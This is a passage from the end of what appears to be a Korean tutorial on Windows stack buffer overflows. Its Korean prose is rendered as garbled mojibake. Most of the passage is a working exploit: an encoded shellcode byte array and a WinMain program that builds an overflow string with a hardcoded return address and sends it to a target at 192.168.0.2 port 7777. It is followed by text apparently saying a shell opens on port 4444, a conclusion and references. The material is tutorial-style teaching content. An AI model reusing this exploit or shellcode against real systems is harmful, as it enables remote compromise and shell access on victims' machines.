    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"

    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"

    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"

    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"

    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"

    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"

    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"

    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"

    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"

    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"

    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"

    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"

    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"

    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        char Attack_String[1000];

        int Ret_Addr = 0x77de4c29;

        int sockfd;

        struct sockaddr_in addr;


        // ¼ÒÄÏ ÃʱâÈ­ ½ÃÀÛ

        WSADATA wsaData;

        WORD Version;

        Version = MAKEWORD(2, 0);

        WSAStartup(Version, &wsaData);

        // ¼ÒÄÏ ÃʱâÈ­ ³¡


        memset(Attack_String, 'A', sizeof(Attack_String));

        memcpy(Attack_String + 44 + 4 + 16, shellcode, strlen(shellcode));


        memcpy(&Attack_String[44], &Ret_Addr, 4);


        if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP))<0){

                MessageBox(HWND_DESKTOP, "Socket error", "¾Ë¸²", MB_OK);

                exit(-1);

        }

        addr.sin_family = AF_INET;

        addr.sin_addr.s_addr = inet_addr("192.168.0.2");

        addr.sin_port = htons(7777);

        memset(&addr.sin_zero, 0, sizeof(addr.sin_zero));


        if(connect(sockfd, (struct sockaddr *)&addr, sizeof(addr))<0){

                MessageBox(HWND_DESKTOP, "Connect error", "¾Ë¸²", MB_OK);

                exit(-1);

        }

        send(sockfd, Attack_String, sizeof(Attack_String), 0);

        closesocket(sockfd);

        MessageBox(HWND_DESKTOP, "°ø°Ý ¿Ï·á", "¾Ë¸²", MB_OK);

        return 0;

}

==========================================================


°ø°Ý¿¡ ¼º°øÇÏ¿´´Ù¸é, ´ÙÀ½°ú °°ÀÌ 4444¹ø Æ÷Æ®¸¦ ÅëÇØ ½©À» ¾òÀ» ¼ö ÀÖÀ» °ÍÀÌ´Ù.



10. °á·Ð

Áö±Ý±îÁö Windows ȯ°æ¿¡¼­ÀÇ Buffer Overflow ±â¼ú¿¡ ´ëÇØ ¾Ë¾Æº¸¾Ò´Ù.

±× °á°ú, ShellCode ±¸Çö ¹æ¹ý, StackÀÇ À§Ä¡, ÇÔ¼ö ÀÎÀÚ Ã³¸® ¹æ¹ý µî ¸î °¡Áö¸¦
Á¦¿ÜÇÏ°í´Â ±âÁ¸ÀÇ °ø°Ý ¹æ¹ý°ú Å« Â÷ÀÌ°¡ ¾øÀ½À» È®ÀÎÇÒ ¼ö ÀÖ¾ú´Ù.

µû¶ó¼­, °ø°Ý ¿ø¸®¸¸ Àß ÀÌÇØÇÑ´Ù¸é FSB, Frame Pointer Overflow µî ´Ù¾çÇÑ ¹æ¹ýÀ»
ÅëÇÑ °ø°Ý ½Ãµµ ¿ª½Ã °¡´ÉÇÒ °ÍÀÌ´Ù.


11. Âü°í ¹®¼­

- Writing and Exploiting Buffer Overflow Vulnerabilities on Windows XP (Peter Winter-smith)

- Phrack 55È£ : Win32 Buffer Overflows (dark spyrit)

- Windows API Á¤º¹ (°¡³²»ç, ±è»óÇü)